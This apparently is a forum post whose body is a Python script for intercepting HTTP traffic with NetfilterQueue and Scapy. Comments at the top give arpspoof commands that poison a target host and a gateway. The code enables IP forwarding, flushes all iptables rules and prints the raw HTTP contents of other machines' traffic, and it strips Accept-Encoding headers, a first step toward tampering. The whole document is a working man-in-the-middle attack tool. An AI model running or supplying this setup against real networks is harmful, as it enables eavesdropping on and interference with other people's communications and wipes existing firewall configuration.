Python + Netfilterqueue + Scapy (trying to intercept HTTP traffic from Kali Linux)

netfiltertest01.py

# apt-get install build-essential python-dev libnetfilter-queue-dev
# pip install NetfilterQueue
# sudo apt-get install python-netfilterqueue
# iptables -F
# iptables -F -t nat
# iptables -I FORWARD -j NFQUEUE --queue-num 0
# arpspoof -i eth0 192.168.1.200 -t 192.168.1.1
# arpspoof -i eth0 192.168.1.1 -t 192.168.1.200

from netfilterqueue import NetfilterQueue
import scapy.all as scapy
import re
import os

from scapy.layers.inet import IP, TCP

os.system("echo '1' > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -F")
os.system("iptables -F -t nat")
os.system("iptables -A FORWARD -j NFQUEUE --queue-num 0")

ip_src = ""
ip_dst = ""


def print_and_accept(packet):
    global ip_src, ip_dst, dst_port, src_port
    http_packet = scapy.IP(packet.get_payload())

    if http_packet.haslayer(scapy.Raw) and http_packet.haslayer(TCP):
        if IP in http_packet:
            ip_src = http_packet[IP].src
            ip_dst = http_packet[IP].dst

            # print(ip_src + " -> " + ip_dst)

            if http_packet[TCP].dport == 80:
                print(ip_src + " -> " + ip_dst + " ** client to server **")
                load = http_packet[scapy.Raw].load
                print(load)
                load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)

            if http_packet[TCP].sport == 80:
                print(ip_src + " -> " + ip_dst + " ** server to client **")
                load = http_packet[scapy.Raw].load
                print(load)
                load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)

    packet.accept()


nf_queue = NetfilterQueue()
nf_queue.bind(0, print_and_accept)
try:
    nf_queue.run()
except KeyboardInterrupt:
    os.system("iptables -F")
    os.system("iptables -F -t nat")
    print("Gettin' out")

nf_queue.unbind()